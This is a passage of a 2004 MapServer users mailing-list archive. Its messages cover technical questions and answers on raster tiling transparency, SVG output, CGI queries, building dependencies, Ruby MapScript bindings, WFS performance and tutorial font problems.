not have any transparency. How would > I > > > > > fix this? > > > > > > > > > > thanks > > > > > Stephen > > > > > > > > > > ----- Original Message ----- > > > > > From: "Frank Warmerdam" > > > > > To: "Stephen Clark" > > > > > Cc: > > > > > Sent: Friday, January 30, 2004 2:31 PM > > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > > want to tile : overlap + transparency > > > > > > > > > > > > > > > > Stephen Clark wrote: > > > > > > > Hi All, > > > > > > > > > > > > > > > > > > > > > I have some landsat 7 data that I want to tile but the > scenes > > > > > > > overlap. > > > > > > > > > > > > > > Can I use some sort of command that can be added to the > > > > > "gdaltindex" > > > > > > > command to add a transparency value to these scenes > > > so that the > > > > > > > overlap areas can show through. > > > > > > > > > > > > Stephen, > > > > > > > > > > > > Do all the images have the same background value? If > > > so, use it > > > > > > as the offsite value for the whole layer and it will be used > > > > > with all the > > > > > > images. The other alternative is to store the tiles in a > format > > > > > > for which GDAL recognises "nodata" values, but this isn't very > > > > > convenient > > > > > > to arrange. There is no way to include nodata values in > > > the raster > > > > > > tile index. > > > > > > > > > > > > Best regards, > > > > > > -- > > > > > > > > > > > > > > ---------------------------------------+---------------------------- > > > > > ---------------------------------------+-- > > > > > > ---------------------------------------+---- > > > > > ---- > > > > > > I set the clouds in motion - turn up | Frank Warmerdam, > > > > > warmerdam@pobox.com > > > > > > light and sound - activate the windows | > > > http://pobox.com/~warmerdam > > > > > > and watch the world go > > > round - Rush | Geospatial > > > > > Programmer for Rent > > > > > > > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu > > > > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users@lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From mofumyke@yahoo.com Tue Feb 3 11:30:51 2004 From: mofumyke@yahoo.com (yuth hor) Date: Tue, 3 Feb 2004 03:30:51 -0800 (PST) Subject: [Mapserver-users] Mapserver 4.1 (dev) and SVG output problem Message-ID: <20040203113051.13302.qmail@web14810.mail.yahoo.com> --0-1781808144-1075807851=:12079 Content-Type: text/plain; charset=us-ascii Hi all, I have tried to generate the SVG file from mapserver, first, I use Redhat 9 + Mapserver 4.1 (nightly build (27.01.04) So, My results are: 1. It was ok with the shp file in UTM 2. It had a problem with a shp file in Lat Lon (because the SVG file that returned from Mapserver is Integer value not floating point) Here is the result SVG from Mapserver; Generated by MapServer Anyone can guide me? Thank you very much in advanced, Teerayut --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! --0-1781808144-1075807851=:12079 Content-Type: text/html; charset=us-ascii

Hi all,

 

I have tried to generate the SVG file from mapserver, first, I use Redhat 9 + Mapserver 4.1 (nightly build (27.01.04)

 

So, My results are:

 1. It was ok with the shp file in UTM

 2. It had a problem with a shp file in Lat Lon (because the SVG file that returned from Mapserver is Integer value not floating point)

 

Here is the result SVG from Mapserver;

 

<?xml version="1.0" encoding="iso-8859-1" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd"

>

 

<!-- flip the y coordinates so that the map orientation matches the graphic orientation -->

<svg viewBox="135.000000 -49.000000 149.000000 -35.000000">

   

 

<desc>Generated by MapServer</desc>

<defs>

<style type="text/css">

<![CDATA[

.point { fill:black;stroke:black }

.line { fill:none;stroke:black }

.poly { cursor:pointer;fill:#003366;stroke:#999999;stroke-width:0.1 }

]]>

</style>

 

</defs>

 

<!-- features to follow -->

<!-- this is the start of a layer -->

<g class="poly">

<path id="[CTY_FIPS]" d="M 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33M 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34 132 -34M 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33M 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33M 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33M 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33 132 -33M 132 -33 132 -33 132 -・・・・.142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -44 142 -45 142 -45 142 -45 142 -45 142 -45 142 -45 142 -45 142 -45 142 -45 142 -45">

 

</path>

</g>

<!-- this is the end of a layer -->

<script>

 <![CDATA[

 

    ]]>

 </script>

</svg>   

 

Anyone can guide me?

 

Thank you very much in advanced,

 

Teerayut

Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it! --0-1781808144-1075807851=:12079-- From spencer@dmsolutions.ca Tue Feb 3 12:06:55 2004 From: spencer@dmsolutions.ca (Paul Spencer) Date: Tue, 03 Feb 2004 07:06:55 -0500 Subject: [Mapserver-users] Re: [ms4w-users] Query to a shapefile In-Reply-To: <002201c3ea3d$35881040$4cc8a8c0@hapro> References: <002201c3ea3d$35881040$4cc8a8c0@hapro> Message-ID: <401F8EDF.7010201@magma.ca> Hagen, sorry but the ms4w list is for problems relating to the ms4w package, not how to work with MapServer. Your best bet for a response is to use the mapserver-users mailing list, I will forward this message there, but I encourage you to subscribe (http://mapserver.gis.umn.edu) and post your mapserver questions there. Cheers, Paul hpr wrote: > Hello users, > > I'm a newbie on mapserver, PHP and Javascript. > I'd like to send a query from a form to a shapefile. But the resulting > records should > not appear in a html-template. I need the results (field-values) in a > variable (or other) to > put these in a list-field of a form. This can be one or many results. > Then I'd like to reselect > a record from this list and zoom to this feature at the map and show the > field-values in a > html-template. > > Does anyone know how to do this ? > > > Hagen > -- ----------------------------------------------------------------- |Paul Spencer spencer@dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From boily@bsw.org Tue Feb 3 12:33:11 2004 From: boily@bsw.org (Roger Boily) Date: Tue, 03 Feb 2004 13:33:11 +0100 Subject: [Mapserver-users] Querying on multiple fields Message-ID: <401F9507.6030401@bsw.org> Hi, On a cgi url I've tried to query on multiple fields with this: NB: for easy reading space and " are normals but I used %20(space) and %27(') &qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24') it works perfectly on windows Mapserver 4.0.1 But I receive error 500 from Apache on linux: (Premature end of script headers: mapserv) &qitem=PART_N&qstring=556 works fine on linux but I receive the same error with: &qstring=('[PART_N]' IN '556') Is there anyone who has any idea? Is there a way to make multiple fileds query with qitem and qstring? Thanks a lot Roger From jhart@frw.uva.nl Tue Feb 3 12:45:24 2004 From: jhart@frw.uva.nl (Jan Hartmann) Date: Tue, 03 Feb 2004 13:45:24 +0100 Subject: [Mapserver-users] Changing inline features with CGI parameters In-Reply-To: <20040203001435.38921.qmail@web12103.mail.yahoo.com> References: <20040203001435.38921.qmail@web12103.mail.yahoo.com> Message-ID: <401F97E4.2080408@frw.uva.nl> J. Delfos wrote: > This may be a very simple (read: dumb) solution, but instead of using > map-server to display your error message of "no data to display", perhaps > you should use a DHTML solution, e.g.: > > - a transparent DIV, on top of your map. You can change the text in a div > dynamically (using innerhtml), and turn off the div if not needed. > - when there's no layer, replace the DHTML image with your own image (and > do not resubmit your form). > > This may not be what you're looking for, but it seems more straightforward > and flexible to do it this way. > > > regards, > > Jacob > Yes, in most cases that would be a simpler solution. In my case however, I also want to put messages relative to geographical items in the map (TRANSFORM FALSE) and for that I need MapServer to position everything. Jan From ray.ward@mapfusion.com Tue Feb 3 14:07:23 2004 From: ray.ward@mapfusion.com (Ray Ward) Date: Tue, 3 Feb 2004 09:07:23 -0500 Subject: [Mapserver-users] Compiling Ming on Solaris 8 (Sparc) Message-ID: Hi, I'm attempting to compile Mapserver on a Solaris 8 (Sparc) box. But I'm having considerable difficulties compiling the dependency's, especially Ming, I've tried several versions and a few tweaks to the Makefiles that were on the ming site, but still no go. I was just wondering if anyone on this list has successfully compiled Ming on Solaris 8, and if so what did you have to do, and what versions of gmake, gcc, etc did you use? Any help would be appreciated, Thanks in advance. Ray, _______________________________ Ray Ward IT Technician MapFusion Technologies Inc. mailto:ray.ward@mapfusion.com http://www.mapfusion.com _______________________________ NOTICE: This message is intended only for the use of the individual or entity to which it is addressed; and it, including any attachments, may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that any disclosure, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please delete it from your system without copying or forwarding it and notify us by telephone (905-709-1925) or by return e-mail immediately. MapFusion Corp. and its affiliated companies do not accept responsibility or liability for any loss or damage arising in any way from your receipt or use or for any errors or omissions in the contents of this communication. From kgeurts@gis.umn.edu Tue Feb 3 16:13:39 2004 From: kgeurts@gis.umn.edu (Kari Geurts) Date: Tue, 03 Feb 2004 10:13:39 CST Subject: [Mapserver-users] ANN: MapScript for Ruby Message-ID: <200402031613.i13GDe1I032619@trojan.software.umn.edu> Hello Gentlemen, Just wanted to check in to see if you need me to do anything to help with this endeavor? Do you want this available through the website? If so where should it go? Let me know. Kari A. Geurts MDP Coordinator Department of Forest Resources University of Minnesota 115 Green Hall 1530 Cleveland Ave. N. St. Paul, MN 55108-6112 Phone: 612-624-3459 Email: kgeurts@gis.umn.edu > On Feb 2, 2004, at 3:33 PM, Pirmin Kalberer wrote: > > > Am Montag, 2. Februar 2004 22.30 schrieb Sean Gillies: > >> I just looked at the patch to mapscript.i. It won't work with the > >> next release due to my recent work on the styleObj shadow class > >> > >> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=548 > >> > > > > For this styleObj API only one of the examples has to be changed. > > > >> But there's no reason why we can't work together to bring the Ruby > >> bindings into the fold for the next release. > > > > If you add the Ruby bindings (without patch) to the CVS we would fix > > the > > example. > > > > Regards > > Pirmin > > > > Hi all, > > I have checked the Ruby files into CVS (HEAD) under mapscript/ruby. At > Steve's > suggestion I have created two stub interface files: rbmodule.i is for > Ruby-specific typemaps and such, rbextend.i is for Ruby-specific > extensions > to the shadow classes defined in mapscript. Each of these files are > automatically included with mapscript.i for Ruby (look for the #ifdef > SWIGRUBY directives in mapscript.i). > > The mapscript.i file remains the place where code common to all > languages > will be. > > All that remains to be done is to get CVS access for the Ruby MapScript > developers and to add the Ruby module to the code which runs SWIG > nightly. One note about this is that swig -ruby generates a lot of > noise as all the MapScript classes are capitalized. I wish swig -python > did this! > > Welcome to the neighborhood, Ruby! > > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > From gillessod@yahoo.de Tue Feb 3 16:15:39 2004 From: gillessod@yahoo.de (=?iso-8859-1?q?Gilles=20Sodatonou?=) Date: Tue, 3 Feb 2004 17:15:39 +0100 (CET) Subject: [Mapserver-users] Maplab problem: blank map in ROSA Applet Message-ID: <20040203161539.51338.qmail@web12007.mail.yahoo.com> Hello users, I'm using Maplab with MapServer and PostgreSQL/PostGIS. When I try to edit a mapfile(with a PostGIS query), the MapBrowser and my standard IE-Browser also, display a blank map in the ROSA Applet. I wrote a demo mapfile without Maplab and the IE-Browser displayed the PostgreSQL data as it should. Here is the mapfile: LAYER NAME "test" STATUS DEFAULT DATA "geom from mytable" TYPE POINT CONNECTIONTYPE POSTGIS CONNECTION "user=surfer dbname=hal host=localhost port=5432" CLASS NAME 'test' SYMBOL 'circle' SIZE 7 COLOR 255 0 0 END END Can anyone helps? Thanks in advance, Gilles Mit schönen Grüßen von Yahoo! Mail - http://mail.yahoo.de From jvanulde@nrcan.gc.ca Tue Feb 3 17:37:36 2004 From: jvanulde@nrcan.gc.ca (Van Ulden, Joost) Date: Tue, 3 Feb 2004 12:37:36 -0500 Subject: [Mapserver-users] XML -> OGR Virtual Datasource -> Dynamic Point Layer Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895B6@s5-van1-r1.ess.nrcan.gc.ca> Hi all, Just wondering if anyone had thought of this... or done this? It would be useful to be able to link to a remote XML document (such as USGS Earthquake Epicenters :) that is updated daily) and generate a dynamic point layer. Would be easier than harvesting and connecting through existing mechanisms. Food for thought. Cheers, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde@nrcan.gc.ca ============================================ From bartvde@xs4all.nl Tue Feb 3 18:38:48 2004 From: bartvde@xs4all.nl (Bart van den Eijnden) Date: Tue, 03 Feb 2004 19:38:48 +0100 Subject: [Mapserver-users] Mapserver WFS performance In-Reply-To: References: Message-ID: Hi Steve, just for clarity. I was not referring to the MAXFEATURES parameter of the Mapserver MAP file. I was referring to the MAXFEATURES parameter which is part of the OGC WFS interface (passed over HTTP GET to the Mapserver WFS). Maybe ofcourse Mapserver WFS internally passes this the same way to the Mapserver core as the MAXFEATURES parameter from the MAP file. This I don't know. Best regards, Bart On Mon, 02 Feb 2004 17:04:12 -0600, Steve Lime wrote: > Checkout bug 553 for more discussion on this topic... > > Note that MAXFEATURES was always intended for display, not query, > purposes. > > Steve > >>>> Frank Warmerdam 2/2/2004 4:07:34 PM >>> > Yewondwossen Assefa wrote: >> Here is how things work : >> - the user does a wfs request >> - in is translated in mapserver query : the query does not take > into >> account the maxfeatures. >> - The MAXFEATURES is taken into account when generating the >> resulting gml file >> >> So yes, It ends up doing the query on all the shapes in your case. >> >> I think we should modify mapserver low level query functions to be > able >> to pass a maxfeature parameter. Some of the query functions have a > mode >> (single or mulitple), and this notion should be extended to support a > >> maxfeature. Once this is done the wfs interface can take advantage of > it. > > Assefa, and others, > > On a vaguely related note, the current query interface seems to make a > pass generating the 'item ids' for all the features which match the > query. Then when the query is returned another pass is made fetching > the > shapes by id. With shapefiles this isn't particularly expensive, > though it > does presumably result in the features being parsed from the binary > twice. > > But for some OGR supported formats fetching "by id" can be very > expensive. > > If we are restructuring the query mechanism what are the chances of > reviewing > this whole two pass approach? Since WFS is basically always using the > query mechanism it seems this is a significant performance issue for > some > WFS setups. Even for "good formats" there is a bunch of overhead. > > Of course, I may be mis-understanding how things are working ... I've > only > glanced at it. > > Best regards, > -- From pramsey@refractions.net Tue Feb 3 18:42:13 2004 From: pramsey@refractions.net (Paul Ramsey) Date: Tue, 03 Feb 2004 10:42:13 -0800 Subject: [Mapserver-users] XML -> OGR Virtual Datasource -> Dynamic Point Layer In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895B6@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: A little slow though, particularly when the data changes only daily. Surely harvesting is not *that* aesthetically displeasing? Maybe we should just get the USGS to publish their data as a WFS so the existing remote XML handling code can be brought to bear :) Paul On Tuesday, February 3, 2004, at 09:37 AM, Van Ulden, Joost wrote: > Hi all, > > Just wondering if anyone had thought of this... or done this? > > It would be useful to be able to link to a remote XML document (such > as USGS > Earthquake Epicenters :) that is updated daily) and generate a dynamic > point > layer. Would be easier than harvesting and connecting through existing > mechanisms. Food for thought. > > Cheers, > > ============================================ > Joost van Ulden > Programmer/Analyst > Natural Resources Canada / Ressources naturelles Canada > Geological Survey of Canada / Commission geologique du Canada > 101 - 605 Robson Street / 101 - 605 rue Robson > Vancouver, B.C. / Vancouver (C.-B.) > V6B 5J3 > Office/Bureau: 604.666.7525 > fax/telecopieur: 604.666.1124 > jvanulde@nrcan.gc.ca > ============================================ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Paul Ramsey Refractions Research Email: pramsey@refractions.net Phone: (250) 885-0632 From mapserver@digger.net Tue Feb 3 21:18:36 2004 From: mapserver@digger.net (Dave Walton) Date: Tue, 3 Feb 2004 13:18:36 -0800 Subject: [Mapserver-users] Re: MapServer 4.0 Tutorial problems In-Reply-To: <20040203180006.5320.82356.Mailman@lists.gis.umn.edu> References: <20040203180006.5320.82356.Mailman@lists.gis.umn.edu> Message-ID: <20040203131836.58740e65.mapserver@digger.net> On Tue, 03 Feb 2004 12:00:06 -0600 mapserver-users-request@lists.gis.umn.edu wrote: > From: "Carol L Heydon" > Subject: [Mapserver-users] MapServer Tutorial 4.0 Example 1.4 no image > > I'm trying to work through Tutorial4.0 with MapServer 4.0 on Windows > 2000. > I made the needed changes to the path information in the html and map > files. Everything works fine for Examples 1.1, 1.2, and 1.3, but from > 1.4 on the image does not display. What's different beginning with > example 1.4? Carol, This sounds a lot like the problem I encountered with example 1.4. To check, try commenting out these three lines from the LABEL object in the 'land' CLASS of the 'states_poly' LAYER: TYPE TRUETYPE FONT arial-bold SIZE 12 If commenting those lines out makes it work, see below for my solution/workaround. Maybe it will help you, too. > --__--__-- > > From: Pericles Nacionales > Subject: Re: [Mapserver-users] MapServer 4.0 Tutorial problems > > Hi there! Can you have a look at your web server's error log and see if > there's anything pertinent to the TrueType error you're getting? You > might also want to check the permissions on your fonts and fonts > directory--make sure the web server account have access to the > directory/read access to files. Perry, First, thanks for the great tutorial. It has proved very useful and educational already, in spite of the various problems I've encountered with it. All I see in the access log is a status code 500, but I'm on a hosting service, so I don't seem to have access to the error logs. Permissions and such are ok, as I learned when I accidentally got TrueType to work in another map file I was working on. Through a long process of trial and error, I finally figured out that this is what made it work: OUTPUTFORMAT DRIVER "GDAL/GTIFF" END Adding those three lines to the MAP object in example 1.4 causes TrueType fonts to work perfectly. I have no idea how or why, or whether this would be called a MapServer bug or a tutorial bug. By my understanding, those lines shouldn't even matter, since I'm still using "IMAGETYPE PNG". But somehow 'DRIVER "GDAL/GTIFF"' makes it work, and using 'DRIVER "GD/PNG"' instead doesn't work. A minor nitpick in the text of 1.4: At the bottom of the page, it mentions "example1-4a.map" in reference to the ANNOTATION data type. That file does not exist, though example1-5.map does use ANNOTATION. Now that I've gotten 1.4 to work, on to 1.5.... First, I find that the same OUTPUTFORMAT hack is needed for 1.5. No surprise there. But that is not sufficient to get it to work for me. I also need to replace "IMAGETYPE PNG24" with "IMAGETYPE PNG" and disable the "modis" layer. Only then does it produce an image, though obviously without the raster layer displayed. Any guesses why PNG24 fails (with or without the raster layer) and the raster layer fails (with or without PNG24)? I've tried using the idxa version of the image, but that doesn't work, either. Thanks again, Dave From jnielsen@aero-graphics.com Tue Feb 3 21:35:48 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Tue, 3 Feb 2004 14:35:48 -0700 Subject: [Mapserver-users] Dbox user error or code correction? Message-ID: <1075844148.40201434ca475@www.agi-lan.com> I do not know if I am just doing things wrong or what but I was making a toolbar option to zoom to the absolute extents of the map and noticed that an error in the javascript console stating that "map" was undefined. Upon inspection I noticed that the below function had "map" with no " or '. Again, I dont know if I just didt something incorrectly resulting in this or not but I just put the word map inside ' and now it works. This is in the "mapserv.js" file. If I am calling this thing wrong someone let me know or maybe I have an old version of the code etc. function Mapserv_zoomdefault() { this.mode = 'map'; this.extent = this.defaultextent; this.cellsize = AdjustExtent(this.extent, this.width, this.height); this.draw(); } -Jason ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From nacional@cbs.umn.edu Tue Feb 3 22:06:22 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Tue, 3 Feb 2004 16:06:22 -0600 (CST) Subject: [Mapserver-users] Re: MapServer 4.0 Tutorial problems In-Reply-To: <20040203131836.58740e65.mapserver@digger.net> References: <20040203180006.5320.82356.Mailman@lists.gis.umn.edu> <20040203131836.58740e65.mapserver@digger.net> Message-ID: Dave, Carol, other tutorial users, Sorry for the long message but please do read on... > > I'm trying to work through Tutorial4.0 with MapServer 4.0 on Windows > > 2000. > > I made the needed changes to the path information in the html and map > > files. Everything works fine for Examples 1.1, 1.2, and 1.3, but from > > 1.4 on the image does not display. What's different beginning with > > example 1.4? > > Carol, > > This sounds a lot like the problem I encountered with example 1.4. To > check, try commenting out these three lines from the LABEL object in the > 'land' CLASS of the 'states_poly' LAYER: > > TYPE TRUETYPE > FONT arial-bold > SIZE 12 > > If commenting those lines out makes it work, see below for my > solution/workaround. Maybe it will help you, too. > If you're going to forgo TRUETYPE fonts, don't comment out TYPE and SIZE. Instead, replace the TYPE line with "TYPE BITMAP" and the SIZE line with "SIZE LARGE". You will then have to comment out the other keywords related to truetype font support (i.e., ANTIALIAS). > > Hi there! Can you have a look at your web server's error log and see if > > there's anything pertinent to the TrueType error you're getting? You > > might also want to check the permissions on your fonts and fonts > > directory--make sure the web server account have access to the > > directory/read access to files. > > Perry, > > First, thanks for the great tutorial. It has proved very useful and > educational already, in spite of the various problems I've encountered > with it. > > All I see in the access log is a status code 500, but I'm on a hosting > service, so I don't seem to have access to the error logs. Permissions > and such are ok, as I learned when I accidentally got TrueType to work in > another map file I was working on. Through a long process of trial and > error, I finally figured out that this is what made it work: > > OUTPUTFORMAT > DRIVER "GDAL/GTIFF" > END > > Adding those three lines to the MAP object in example 1.4 causes TrueType > fonts to work perfectly. I have no idea how or why, or whether this would > be called a MapServer bug or a tutorial bug. By my understanding, those > lines shouldn't even matter, since I'm still using "IMAGETYPE PNG". But > somehow 'DRIVER "GDAL/GTIFF"' makes it work, and using 'DRIVER "GD/PNG"' > instead doesn't work. Interesting. GDAL has nothing to do with this example. If you are in Windows and are using one of the binary packages from the MapServer site, it's possible that it has something to do with my binaries. > > A minor nitpick in the text of 1.4: At the bottom of the page, it > mentions "example1-4a.map" in reference to the ANNOTATION data type. That > file does not exist, though example1-5.map does use ANNOTATION. > Oops! Sorry about that. I'll have it fixed shortly. > Now that I've gotten 1.4 to work, on to 1.5.... > > First, I find that the same OUTPUTFORMAT hack is needed for 1.5. No > surprise there. But that is not sufficient to get it to work for me. I > also need to replace "IMAGETYPE PNG24" with "IMAGETYPE PNG" and disable > the "modis" layer. Only then does it produce an image, though obviously > without the raster layer displayed. > > Any guesses why PNG24 fails (with or without the raster layer) and the > raster layer fails (with or without PNG24)? I've tried using the idxa > version of the image, but that doesn't work, either. > That's very odd indeed. I've never encountered this problem even when using Windows. I'll have to go back and check again. FYI: I just updated the binaries in the MapServer site. I have added Frank's fix to bug 504. I don't think the fix has anything to do with it (it's for tiled rasters). However, the version is now at 4.0.1. Also, MapServer 3.6 is now at version 3.6.7. Thanks for your help. -Perry N. > Thanks again, > Dave > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gleinerteruel@hotmail.com Tue Feb 3 22:14:37 2004 From: gleinerteruel@hotmail.com (Gleiner Crivelini) Date: Tue, 3 Feb 2004 20:14:37 -0200 Subject: [Mapserver-users] "nquery" mode Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C3EA92.592A8730 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi list. Doe's anybody can tell me how to use the "nquery" mode to produce = "imgshape" arround points? I think I'm missing some part of the context 'cause I can't see how and = where to define the text of the query. Best Regards, gleiner ------=_NextPart_000_0005_01C3EA92.592A8730 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi list.
Doe's anybody can tell me how to use = the "nquery"=20 mode to produce "imgshape" arround points?
I think I'm missing some part of the = context 'cause=20 I can't see how and where
to define the text of the = query.
Best Regards,
gleiner
------=_NextPart_000_0005_01C3EA92.592A8730-- From cpurvis@asg.sc.edu Tue Feb 3 22:20:25 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Tue, 3 Feb 2004 17:20:25 -0500 Subject: [Mapserver-users] php clone() doesn't cut it Message-ID: Hi, folks: I finally rewrote a raster querying kludge that works well. At least, in my opinion. But I learned the hard way that I can't count on php's mapObj clone(). If you try to clone() a mapObj and save it to a new variable, everything will be OK *unless* you try to manipulate the layers. I could not get something like the following sequence to work: (1) original mapObj's first layer is STATUS ON (2) draw the original map (first layer is drawn) (3) clone the original map to cloneMap (4) set the clonMap's first layer to STATUS OFF (5) draw the clone map (first layer is off) (6) now draw the original map *** first layer is OFF !!! *** It is a PHP fault. Something along the lines of the paragraph that begins "Want to allow . ." from http://www.masterofweb.com/item/102/catid/10. So my workaround was to save my current map state to a .map, and then create a new mapObj based on that .map. Just trying to save others some tears and premature graying. Charlton Charlton Purvis (803) 777-8858 : voice (803) 777-3935 : fax cpurvis@sc.edu Baruch Institute University of South Carolina Columbia, SC 29208 From steve.lime@dnr.state.mn.us Tue Feb 3 22:39:21 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 03 Feb 2004 16:39:21 -0600 Subject: [Mapserver-users] Dbox user error or code correction? Message-ID: There certainly should have been quotes. I'll make the change on my end if I haven't already. Thanks for letting me know. Steve >>> "Jason M. Nielsen" 2/3/2004 3:35:48 PM >>> I do not know if I am just doing things wrong or what but I was making a toolbar option to zoom to the absolute extents of the map and noticed that an error in the javascript console stating that "map" was undefined. Upon inspection I noticed that the below function had "map" with no " or '. Again, I dont know if I just didt something incorrectly resulting in this or not but I just put the word map inside ' and now it works. This is in the "mapserv.js" file. If I am calling this thing wrong someone let me know or maybe I have an old version of the code etc. function Mapserv_zoomdefault() { this.mode = 'map'; this.extent = this.defaultextent; this.cellsize = AdjustExtent(this.extent, this.width, this.height); this.draw(); } -Jason ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime@dnr.state.mn.us Tue Feb 3 22:40:56 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 03 Feb 2004 16:40:56 -0600 Subject: [Mapserver-users] Mapserver WFS performance Message-ID: That'll explain a few things. I hadn't looked at the WFS spec closely. Guess my parameter naming was right on in the first place though. Steve >>> Bart van den Eijnden 2/3/2004 12:38:48 PM >>> Hi Steve, just for clarity. I was not referring to the MAXFEATURES parameter of the Mapserver MAP file. I was referring to the MAXFEATURES parameter which is part of the OGC WFS interface (passed over HTTP GET to the Mapserver WFS). Maybe ofcourse Mapserver WFS internally passes this the same way to the Mapserver core as the MAXFEATURES parameter from the MAP file. This I don't know. Best regards, Bart On Mon, 02 Feb 2004 17:04:12 -0600, Steve Lime wrote: > Checkout bug 553 for more discussion on this topic... > > Note that MAXFEATURES was always intended for display, not query, > purposes. > > Steve > >>>> Frank Warmerdam 2/2/2004 4:07:34 PM >>> > Yewondwossen Assefa wrote: >> Here is how things work : >> - the user does a wfs request >> - in is translated in mapserver query : the query does not take > into >> account the maxfeatures. >> - The MAXFEATURES is taken into account when generating the >> resulting gml file >> >> So yes, It ends up doing the query on all the shapes in your case. >> >> I think we should modify mapserver low level query functions to be > able >> to pass a maxfeature parameter. Some of the query functions have a > mode >> (single or mulitple), and this notion should be extended to support a > >> maxfeature. Once this is done the wfs interface can take advantage of > it. > > Assefa, and others, > > On a vaguely related note, the current query interface seems to make a > pass generating the 'item ids' for all the features which match the > query. Then when the query is returned another pass is made fetching > the > shapes by id. With shapefiles this isn't particularly expensive, > though it > does presumably result in the features being parsed from the binary > twice. > > But for some OGR supported formats fetching "by id" can be very > expensive. > > If we are restructuring the query mechanism what are the chances of > reviewing > this whole two pass approach? Since WFS is basically always using the > query mechanism it seems this is a significant performance issue for > some > WFS setups. Even for "good formats" there is a bunch of overhead. > > Of course, I may be mis-understanding how things are working ... I've > only > glanced at it. > > Best regards, > -- _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime@dnr.state.mn.us Tue Feb 3 22:44:06 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 03 Feb 2004 16:44:06 -0600 Subject: [Mapserver-users] Querying on multiple fields Message-ID: Are you escaping the value ('[PART_N]' IN '556,557' AND '[ID_N]' IN '24') properly? Spaces aren't allowed and should be replaced with either a + or a %20. We should still track down the source of the error though, error 500's are never good. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> Roger Boily 2/3/2004 6:33:11 AM >>> Hi, On a cgi url I've tried to query on multiple fields with this: NB: for easy reading space and " are normals but I used %20(space) and %27(') &qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24') it works perfectly on windows Mapserver 4.0.1 But I receive error 500 from Apache on linux: (Premature end of script headers: mapserv) &qitem=PART_N&qstring=556 works fine on linux but I receive the same error with: &qstring=('[PART_N]' IN '556') Is there anyone who has any idea? Is there a way to make multiple fileds query with qitem and qstring? Thanks a lot Roger _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime@dnr.state.mn.us Tue Feb 3 23:10:18 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Tue, 03 Feb 2004 17:10:18 -0600 Subject: [Mapserver-users] Mapserver 4.1 (dev) and SVG output problem Message-ID: How are you generating the SVG, using a template? If so, what does the template(s) look like? 